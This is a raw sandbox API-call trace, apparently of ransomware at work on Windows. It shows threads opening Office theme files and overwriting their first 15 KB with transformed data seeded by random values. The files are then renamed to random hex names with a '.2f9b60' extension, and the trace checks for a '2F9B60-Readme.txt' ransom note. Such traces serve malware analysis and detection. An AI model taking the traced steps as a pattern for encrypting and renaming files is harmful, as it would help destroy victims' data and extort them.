[0089.434] sprintf (in: _Dest=0x1cd97386, _Format="%c%c" | out: _Dest="65") returned 2 [0089.434] sprintf (in: _Dest=0x1cd97388, _Format="%c%c" | out: _Dest="27") returned 2 [0089.434] sprintf (in: _Dest=0x1cd9738a, _Format="%c%c" | out: _Dest="3c") returned 2 [0089.434] RtlInitAnsiString (in: DestinationString=0x254ffce8, SourceString="2b898c60e84537a6354cc1ffcda01400706c6101e724587df8f74265273c" | out: DestinationString="2b898c60e84537a6354cc1ffcda01400706c6101e724587df8f74265273c") [0089.434] RtlAnsiStringToUnicodeString (in: DestinationString=0x254ffcb8, SourceString="2b898c60e84537a6354cc1ffcda01400706c6101e724587df8f74265273c", AllocateDestinationString=1 | out: DestinationString="2b898c60e84537a6354cc1ffcda01400706c6101e724587df8f74265273c") returned 0x0 [0089.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1b85b910 [0089.435] wcscat (in: _Dest=0x1b7ad160, _Source="2b898c60e84537a" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2b898c60e84537a") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2b898c60e84537a" [0089.435] wcscat (in: _Dest=0x1b7ad160, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2b898c60e84537a.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2b898c60e84537a.2f9b60" [0089.435] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2b898c60e84537a.2f9b60", NtPathName=0x254ffc90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\2b898c60e84537a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0089.435] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x106e80 [0089.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106e80) returned 1 [0089.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0089.437] NtQueryInformationFile (in: FileHandle=0xa44, IoStatusBlock=0x254ffcf8, FileInformation=0x254ffd08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x254ffcf8, FileInformation=0x254ffd08) returned 0x0 [0089.437] NtSetInformationFile (FileHandle=0xa44, IoStatusBlock=0x254ffcf8, FileInformation=0x254ffd08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0089.439] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad160) returned 1 [0089.439] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b910) returned 1 [0089.439] FlushFileBuffers (hFile=0xa44) returned 1 [0089.442] CloseHandle (hObject=0xa44) returned 1 [0089.443] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1b7ad160 [0089.443] wcscpy (in: _Dest=0x1b7ad160, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0089.443] wcscat (in: _Dest=0x1b7ad160, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" [0089.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\2f9b60-readme.txt")) returned 0x20 [0089.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad160) returned 1 [0089.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad200) returned 1 Thread: id = 354 os_tid = 0xeb8 [0089.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Solstice.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\solstice.thmx")) returned 0x20 [0089.416] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Solstice.thmx", dwFileAttributes=0x20) returned 1 [0089.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Solstice.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\solstice.thmx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa3c [0089.416] GetFileSizeEx (in: hFile=0xa3c, lpFileSize=0x2579fd40 | out: lpFileSize=0x2579fd40*=74912) returned 1 [0089.416] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x1249c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.417] ReadFile (in: hFile=0xa3c, lpBuffer=0x2579fcc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2579fd08, lpOverlapped=0x0 | out: lpBuffer=0x2579fcc0*, lpNumberOfBytesRead=0x2579fd08*=0x4, lpOverlapped=0x0) returned 1 [0089.419] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.419] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a4e0 [0089.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a390 [0089.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a300 [0089.420] NtQuerySystemTime (in: CurrentTime=0x2579fc00 | out: CurrentTime=0x2579fc00*=132462176952922000) returned 0x0 [0089.420] RtlRandomEx (in: Seed=0x2579fbf0 | out: Seed=0x2579fbf0) returned 0x5c624f84 [0089.420] RtlRandomEx (in: Seed=0x2579fbf0 | out: Seed=0x2579fbf0) returned 0x33c1a63c [0089.420] RtlRandomEx (in: Seed=0x2579fbf0 | out: Seed=0x2579fbf0) returned 0x2f6b43a8 [0089.420] RtlRandomEx (in: Seed=0x2579fbf0 | out: Seed=0x2579fbf0) returned 0x1d43d283 [0089.420] RtlRandomEx (in: Seed=0x2579fbf0 | out: Seed=0x2579fbf0) returned 0x7b6559b7 [0089.420] RtlRandomEx (in: Seed=0x2579fbf0 | out: Seed=0x2579fbf0) returned 0x69f58a0f [0089.420] RtlRandomEx (in: Seed=0x2579fbf0 | out: Seed=0x2579fbf0) returned 0x616ce912 [0089.420] RtlRandomEx (in: Seed=0x2579fbf0 | out: Seed=0x2579fbf0) returned 0x4763be26 [0089.420] RtlRandomEx (in: Seed=0x2579fbf0 | out: Seed=0x2579fbf0) returned 0x27f9a002 [0089.420] RtlRandomEx (in: Seed=0x2579fbf0 | out: Seed=0x2579fbf0) returned 0x319727b7 [0089.420] RtlRandomEx (in: Seed=0x2579fbf0 | out: Seed=0x2579fbf0) returned 0x35f34df [0089.420] RtlRandomEx (in: Seed=0x2579fbf0 | out: Seed=0x2579fbf0) returned 0x4b2b1af8 [0089.420] RtlRandomEx (in: Seed=0x2579fbf0 | out: Seed=0x2579fbf0) returned 0x439feea [0089.420] RtlRandomEx (in: Seed=0x2579fbf0 | out: Seed=0x2579fbf0) returned 0x72d5bc02 [0089.420] RtlRandomEx (in: Seed=0x2579fbf0 | out: Seed=0x2579fbf0) returned 0x5dfc10f7 [0089.420] RtlRandomEx (in: Seed=0x2579fbf0 | out: Seed=0x2579fbf0) returned 0x699d2c59 [0089.420] RtlRandomEx (in: Seed=0x2579fbf0 | out: Seed=0x2579fbf0) returned 0x1e0618c0 [0089.421] RtlRandomEx (in: Seed=0x2579fbf0 | out: Seed=0x2579fbf0) returned 0x33661f43 [0089.421] RtlRandomEx (in: Seed=0x2579fbf0 | out: Seed=0x2579fbf0) returned 0x55c7d06 [0089.421] RtlRandomEx (in: Seed=0x2579fbf0 | out: Seed=0x2579fbf0) returned 0x5e418b30 [0089.421] RtlRandomEx (in: Seed=0x2579fbf0 | out: Seed=0x2579fbf0) returned 0x3b45b5b6 [0089.421] RtlRandomEx (in: Seed=0x2579fbf0 | out: Seed=0x2579fbf0) returned 0x3685da3f [0089.421] RtlRandomEx (in: Seed=0x2579fbf0 | out: Seed=0x2579fbf0) returned 0x2f3f2f54 [0089.421] RtlRandomEx (in: Seed=0x2579fbf0 | out: Seed=0x2579fbf0) returned 0x202bb5bb [0089.421] RtlRandomEx (in: Seed=0x2579fbf0 | out: Seed=0x2579fbf0) returned 0x4d580f69 [0089.421] RtlRandomEx (in: Seed=0x2579fbf0 | out: Seed=0x2579fbf0) returned 0x2b43ee2a [0089.421] RtlRandomEx (in: Seed=0x2579fbf0 | out: Seed=0x2579fbf0) returned 0x3bb3ff21 [0089.421] RtlRandomEx (in: Seed=0x2579fbf0 | out: Seed=0x2579fbf0) returned 0x3c62645b [0089.421] RtlRandomEx (in: Seed=0x2579fbf0 | out: Seed=0x2579fbf0) returned 0x11874e5b [0089.421] RtlRandomEx (in: Seed=0x2579fbf0 | out: Seed=0x2579fbf0) returned 0x4bf7eac3 [0089.421] RtlRandomEx (in: Seed=0x2579fbf0 | out: Seed=0x2579fbf0) returned 0x2fad0f5 [0089.421] RtlRandomEx (in: Seed=0x2579fbf0 | out: Seed=0x2579fbf0) returned 0x722a5902 [0089.429] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.429] ReadFile (in: hFile=0xa3c, lpBuffer=0x1ce5d510, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2579fc60, lpOverlapped=0x0 | out: lpBuffer=0x1ce5d510*, lpNumberOfBytesRead=0x2579fc60*=0x3c00, lpOverlapped=0x0) returned 1 [0089.440] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.440] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.440] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0089.440] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a3f0 [0089.440] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a3f0) returned 1 [0089.440] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cea4d30 [0089.440] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a3f0 [0089.440] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a480 [0089.440] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a480) returned 1 [0089.440] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0089.441] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.441] WriteFile (in: hFile=0xa3c, lpBuffer=0x1cea4d30*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2579fc60, lpOverlapped=0x0 | out: lpBuffer=0x1cea4d30*, lpNumberOfBytesWritten=0x2579fc60*=0x3c00, lpOverlapped=0x0) returned 1 [0089.445] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cea4d30) returned 1 [0089.445] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5d510) returned 1 [0089.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b85a540 [0089.445] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0089.445] WriteFile (in: hFile=0xa3c, lpBuffer=0x166e00*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x2579fd10, lpOverlapped=0x0 | out: lpBuffer=0x166e00*, lpNumberOfBytesWritten=0x2579fd10*=0x10c, lpOverlapped=0x0) returned 1 [0089.448] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.448] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0089.448] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a510 [0089.448] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a510) returned 1 [0089.448] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b85a510 [0089.448] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a1e0 [0089.448] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a300 [0089.448] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a300) returned 1 [0089.448] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0089.448] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.448] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cd9f970 [0089.448] sprintf (in: _Dest=0x1cd9f970, _Format="%c%c" | out: _Dest="84") returned 2 [0089.448] sprintf (in: _Dest=0x1cd9f972, _Format="%c%c" | out: _Dest="e3") returned 2 [0089.449] sprintf (in: _Dest=0x1cd9f974, _Format="%c%c" | out: _Dest="3c") returned 2 [0089.449] sprintf (in: _Dest=0x1cd9f976, _Format="%c%c" | out: _Dest="bf") returned 2 [0089.449] sprintf (in: _Dest=0x1cd9f978, _Format="%c%c" | out: _Dest="8e") returned 2 [0089.449] sprintf (in: _Dest=0x1cd9f97a, _Format="%c%c" | out: _Dest="4f") returned 2 [0089.449] sprintf (in: _Dest=0x1cd9f97c, _Format="%c%c" | out: _Dest="7c") returned 2 [0089.449] sprintf (in: _Dest=0x1cd9f97e, _Format="%c%c" | out: _Dest="80") returned 2 [0089.449] sprintf (in: _Dest=0x1cd9f980, _Format="%c%c" | out: _Dest="fa") returned 2 [0089.449] sprintf (in: _Dest=0x1cd9f982, _Format="%c%c" | out: _Dest="7f") returned 2 [0089.449] sprintf (in: _Dest=0x1cd9f984, _Format="%c%c" | out: _Dest="26") returned 2 [0089.449] sprintf (in: _Dest=0x1cd9f986, _Format="%c%c" | out: _Dest="6f") returned 2 [0089.449] sprintf (in: _Dest=0x1cd9f988, _Format="%c%c" | out: _Dest="fd") returned 2 [0089.449] sprintf (in: _Dest=0x1cd9f98a, _Format="%c%c" | out: _Dest="7d") returned 2 [0089.449] sprintf (in: _Dest=0x1cd9f98c, _Format="%c%c" | out: _Dest="6a") returned 2 [0089.449] sprintf (in: _Dest=0x1cd9f98e, _Format="%c%c" | out: _Dest="f2") returned 2 [0089.449] sprintf (in: _Dest=0x1cd9f990, _Format="%c%c" | out: _Dest="8d") returned 2 [0089.449] sprintf (in: _Dest=0x1cd9f992, _Format="%c%c" | out: _Dest="e8") returned 2 [0089.449] sprintf (in: _Dest=0x1cd9f994, _Format="%c%c" | out: _Dest="2e") returned 2 [0089.449] sprintf (in: _Dest=0x1cd9f996, _Format="%c%c" | out: _Dest="5f") returned 2 [0089.449] sprintf (in: _Dest=0x1cd9f998, _Format="%c%c" | out: _Dest="4f") returned 2 [0089.449] sprintf (in: _Dest=0x1cd9f99a, _Format="%c%c" | out: _Dest="75") returned 2 [0089.449] sprintf (in: _Dest=0x1cd9f99c, _Format="%c%c" | out: _Dest="32") returned 2 [0089.449] sprintf (in: _Dest=0x1cd9f99e, _Format="%c%c" | out: _Dest="54") returned 2 [0089.449] sprintf (in: _Dest=0x1cd9f9a0, _Format="%c%c" | out: _Dest="b4") returned 2 [0089.449] sprintf (in: _Dest=0x1cd9f9a2, _Format="%c%c" | out: _Dest="09") returned 2 [0089.449] RtlInitAnsiString (in: DestinationString=0x2579fd88, SourceString="84e33cbf8e4f7c80fa7f266ffd7d6af28de82e5f4f753254b409" | out: DestinationString="84e33cbf8e4f7c80fa7f266ffd7d6af28de82e5f4f753254b409") [0089.449] RtlAnsiStringToUnicodeString (in: DestinationString=0x2579fd58, SourceString="84e33cbf8e4f7c80fa7f266ffd7d6af28de82e5f4f753254b409", AllocateDestinationString=1 | out: DestinationString="84e33cbf8e4f7c80fa7f266ffd7d6af28de82e5f4f753254b409") returned 0x0 [0089.450] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b79e070 [0089.450] wcscat (in: _Dest=0x1b7ad200, _Source="84e33cbf8e4f7" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\84e33cbf8e4f7") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\84e33cbf8e4f7" [0089.450] wcscat (in: _Dest=0x1b7ad200, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\84e33cbf8e4f7.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\84e33cbf8e4f7.2f9b60" [0089.450] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\84e33cbf8e4f7.2f9b60", NtPathName=0x2579fd30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\84e33cbf8e4f7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0089.450] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x106e80 [0089.467] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106e80) returned 1 [0089.467] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77af50) returned 1 [0089.467] NtQueryInformationFile (in: FileHandle=0xa3c, IoStatusBlock=0x2579fd98, FileInformation=0x2579fda8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2579fd98, FileInformation=0x2579fda8) returned 0x0 [0089.467] NtSetInformationFile (FileHandle=0xa3c, IoStatusBlock=0x2579fd98, FileInformation=0x2579fda8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0089.470] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad200) returned 1 [0089.470] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0089.470] FlushFileBuffers (hFile=0xa3c) returned 1 [0089.480] CloseHandle (hObject=0xa3c) returned 1 [0089.480] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1b7ad200 [0089.480] wcscpy (in: _Dest=0x1b7ad200, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0089.480] wcscat (in: _Dest=0x1b7ad200, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" [0089.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\2f9b60-readme.txt")) returned 0x20 [0089.480] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad200) returned 1 [0089.480] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85bac0) returned 1 Thread: id = 355 os_tid = 0xebc [0089.447] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Technic.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\technic.thmx")) returned 0x20 [0089.451] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Technic.thmx", dwFileAttributes=0x20) returned 1 [0089.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Technic.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\technic.thmx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa44 [0089.451] GetFileSizeEx (in: hFile=0xa44, lpFileSize=0x258cf9a0 | out: lpFileSize=0x258cf9a0*=68995) returned 1 [0089.451] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x10d7f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.451] ReadFile (in: hFile=0xa44, lpBuffer=0x258cf920, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x258cf968, lpOverlapped=0x0 | out: lpBuffer=0x258cf920*, lpNumberOfBytesRead=0x258cf968*=0x4, lpOverlapped=0x0) returned 1 [0089.453] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.453] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a4b0 [0089.453] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a2d0 [0089.453] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a390 [0089.453] NtQuerySystemTime (in: CurrentTime=0x258cf860 | out: CurrentTime=0x258cf860*=132462176953234000) returned 0x0 [0089.453] RtlRandomEx (in: Seed=0x258cf850 | out: Seed=0x258cf850) returned 0x5a3cacc8 [0089.454] RtlRandomEx (in: Seed=0x258cf850 | out: Seed=0x258cf850) returned 0xae0669a [0089.454] RtlRandomEx (in: Seed=0x258cf850 | out: Seed=0x258cf850) returned 0x5a2aaf78 [0089.454] RtlRandomEx (in: Seed=0x258cf850 | out: Seed=0x258cf850) returned 0x615dd38c [0089.454] RtlRandomEx (in: Seed=0x258cf850 | out: Seed=0x258cf850) returned 0x45707a17 [0089.454] RtlRandomEx (in: Seed=0x258cf850 | out: Seed=0x258cf850) returned 0x1bdfe9a9 [0089.454] RtlRandomEx (in: Seed=0x258cf850 | out: Seed=0x258cf850) returned 0x1bd716bb [0089.454] RtlRandomEx (in: Seed=0x258cf850 | out: Seed=0x258cf850) returned 0x58c48eaa [0089.454] RtlRandomEx (in: Seed=0x258cf850 | out: Seed=0x258cf850) returned 0x68750c42 [0089.454] RtlRandomEx (in: Seed=0x258cf850 | out: Seed=0x258cf850) returned 0x5d87d828 [0089.454] RtlRandomEx (in: Seed=0x258cf850 | out: Seed=0x258cf850) returned 0x5b595828 [0089.454] RtlRandomEx (in: Seed=0x258cf850 | out: Seed=0x258cf850) returned 0x4e0e47c1 [0089.454] RtlRandomEx (in: Seed=0x258cf850 | out: Seed=0x258cf850) returned 0x74823382 [0089.454] RtlRandomEx (in: Seed=0x258cf850 | out: Seed=0x258cf850) returned 0x13b7cce7 [0089.454] RtlRandomEx (in: Seed=0x258cf850 | out: Seed=0x258cf850) returned 0x551938ef [0089.454] RtlRandomEx (in: Seed=0x258cf850 | out: Seed=0x258cf850) returned 0x7c7d72ee [0089.454] RtlRandomEx (in: Seed=0x258cf850 | out: Seed=0x258cf850) returned 0x24f75fcd [0089.454] RtlRandomEx (in: Seed=0x258cf850 | out: Seed=0x258cf850) returned 0x7a9664d0 [0089.454] RtlRandomEx (in: Seed=0x258cf850 | out: Seed=0x258cf850) returned 0x490e3fa1 [0089.454] RtlRandomEx (in: Seed=0x258cf850 | out: Seed=0x258cf850) returned 0x24af5fa3 [0089.454] RtlRandomEx (in: Seed=0x258cf850 | out: Seed=0x258cf850) returned 0x7cf8d5af [0089.454] RtlRandomEx (in: Seed=0x258cf850 | out: Seed=0x258cf850) returned 0x5cff8667 [0089.454] RtlRandomEx (in: Seed=0x258cf850 | out: Seed=0x258cf850) returned 0x434e4815 [0089.454] RtlRandomEx (in: Seed=0x258cf850 | out: Seed=0x258cf850) returned 0x1d139783 [0089.454] RtlRandomEx (in: Seed=0x258cf850 | out: Seed=0x258cf850) returned 0x4a12d505 [0089.454] RtlRandomEx (in: Seed=0x258cf850 | out: Seed=0x258cf850) returned 0x79686947 [0089.454] RtlRandomEx (in: Seed=0x258cf850 | out: Seed=0x258cf850) returned 0x41f97191 [0089.454] RtlRandomEx (in: Seed=0x258cf850 | out: Seed=0x258cf850) returned 0x235b94b9 [0089.454] RtlRandomEx (in: Seed=0x258cf850 | out: Seed=0x258cf850) returned 0x5966a42e [0089.454] RtlRandomEx (in: Seed=0x258cf850 | out: Seed=0x258cf850) returned 0x637385a3 [0089.454] RtlRandomEx (in: Seed=0x258cf850 | out: Seed=0x258cf850) returned 0x445e45f [0089.454] RtlRandomEx (in: Seed=0x258cf850 | out: Seed=0x258cf850) returned 0xd3f954a [0089.462] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.462] ReadFile (in: hFile=0xa44, lpBuffer=0x1ce5d510, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x258cf8c0, lpOverlapped=0x0 | out: lpBuffer=0x1ce5d510*, lpNumberOfBytesRead=0x258cf8c0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.464] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0089.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a4b0 [0089.465] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a4b0) returned 1 [0089.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cea4d30 [0089.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a4b0 [0089.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a390 [0089.465] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a390) returned 1 [0089.465] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0089.465] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.465] WriteFile (in: hFile=0xa44, lpBuffer=0x1cea4d30*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x258cf8c0, lpOverlapped=0x0 | out: lpBuffer=0x1cea4d30*, lpNumberOfBytesWritten=0x258cf8c0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cea4d30) returned 1 [0089.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5d510) returned 1 [0089.469] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b85a390 [0089.469] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0089.469] WriteFile (in: hFile=0xa44, lpBuffer=0x166e00*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x258cf970, lpOverlapped=0x0 | out: lpBuffer=0x166e00*, lpNumberOfBytesWritten=0x258cf970*=0x10a, lpOverlapped=0x0) returned 1 [0089.471] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.471] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e070 [0089.471] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a1e0 [0089.471] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a1e0) returned 1 [0089.471] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0089.471] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a1e0 [0089.471] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a510 [0089.471] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a510) returned 1 [0089.471] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0089.472] 